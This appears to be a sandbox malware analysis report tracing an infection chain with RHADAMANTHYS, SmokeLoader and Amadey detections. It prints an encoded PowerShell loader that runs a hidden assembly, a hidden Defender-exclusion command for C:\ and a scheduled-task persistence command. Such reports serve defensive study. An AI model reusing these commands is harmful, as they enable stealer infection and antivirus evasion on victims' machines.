File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:22:55
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"
Imagebase:	0x430000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:22:57
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"
Imagebase:	0x430000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:23:02
Start date:	10/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x560000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000007.00000002.2109261264.0000000003610000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:23:04
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\dialer.exe"
Imagebase:	0x920000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000003.2105828144.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.2107655935.0000000005680000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000002.2179795455.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.2107848027.00000000058A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:23:04
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6252 -s 720
Imagebase:	0xaa0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:23:11
Start date:	10/04/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x7ff64e920000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.2222138286.0000024ABA9F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.2511978999.0000024ABABF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:23:31
Start date:	10/04/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Imagebase:	0x7ff6beb70000
File size:	124'816 bytes
MD5 hash:	E9C3EC13A9C77B393692D748D8EB83CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:23:35
Start date:	10/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe"
Imagebase:	0x7ff6d64d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:23:35
Start date:	10/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:23:35
Start date:	10/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:23:37
Start date:	10/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:23:38
Start date:	10/04/2024
Path:	C:\Users\user\AppData\Roaming\D4C0.vmt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\D4C0.vmt.exe"
Imagebase:	0x400000
File size:	31'232 bytes
MD5 hash:	B45B01A98A16E750EFE0C5BCE4613896
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs Detection: 69%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:23:44
Start date:	10/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2747569546.000000000B660000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	10:24:06
Start date:	10/04/2024
Path:	C:\Users\user\AppData\Roaming\gfiecjd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gfiecjd
Imagebase:	0x400000
File size:	31'232 bytes
MD5 hash:	B45B01A98A16E750EFE0C5BCE4613896
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\gfiecjd, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs Detection: 69%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:24:07
Start date:	10/04/2024
Path:	C:\Users\user\AppData\Local\Temp\F324.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F324.exe
Imagebase:	0x400000
File size:	490'496 bytes
MD5 hash:	D9A13BB5645FE754CDC2A10A638660F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000017.00000003.2791924717.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000017.00000003.2809730416.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000017.00000003.2775779398.0000000000630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 75%, ReversingLabs Detection: 70%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:24:07
Start date:	10/04/2024
Path:	C:\Users\user\AppData\Local\Temp\F557.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F557.exe
Imagebase:	0x560000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000000.2743120667.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\F557.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 82%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:24:08
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x820000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:24:08
Start date:	10/04/2024
Path:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Imagebase:	0x5f0000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000000.2750807460.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 82%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:24:09
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Imagebase:	0x900000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:24:09
Start date:	10/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:24:09
Start date:	10/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:24:10
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x820000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:24:11
Start date:	10/04/2024
Path:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Imagebase:	0x5f0000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000000.2780370976.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.2784341103.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:24:11
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x820000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	10:24:12
Start date:	10/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	10:24:13
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x820000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	10:24:14
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\dialer.exe"
Imagebase:	0x920000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000023.00000003.2810520451.00000000031B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000023.00000003.2986526967.0000000005095000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000023.00000003.2824488495.0000000005120000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000023.00000003.2825213965.0000000005340000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000023.00000002.3026163870.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:24:15
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x820000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	10:24:16
Start date:	10/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	10:24:17
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x820000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	10:24:35
Start date:	10/04/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x7ff64e920000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000027.00000003.3073347750.0000022CBCA81000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.1%
Total number of Nodes:	1336
Total number of Limit Nodes:	15

Executed Functions

Function 00403532 Relevance: 77.5, APIs: 33, Strings: 11, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403555
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 00403580
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00403593
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040362C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403669
OleInitialize.OLE32(00000000), ref: 00403670
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 0040368F
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036A4
CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000008,0000000A,0000000C), ref: 004036DD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403815
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403826
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403832
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040384E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040385F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403867
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0043F000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403954

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

wsprintfW.USER32 ref: 004039B1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 004039E4
DeleteFileW.KERNEL32(00437800), ref: 004039F0
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A1E

Part of subcall function 00406317: MoveFileExW.KERNEL32(?,?,00000005,00405E15,?,00000000,000000F1,?,?,?,?,?), ref: 00406321

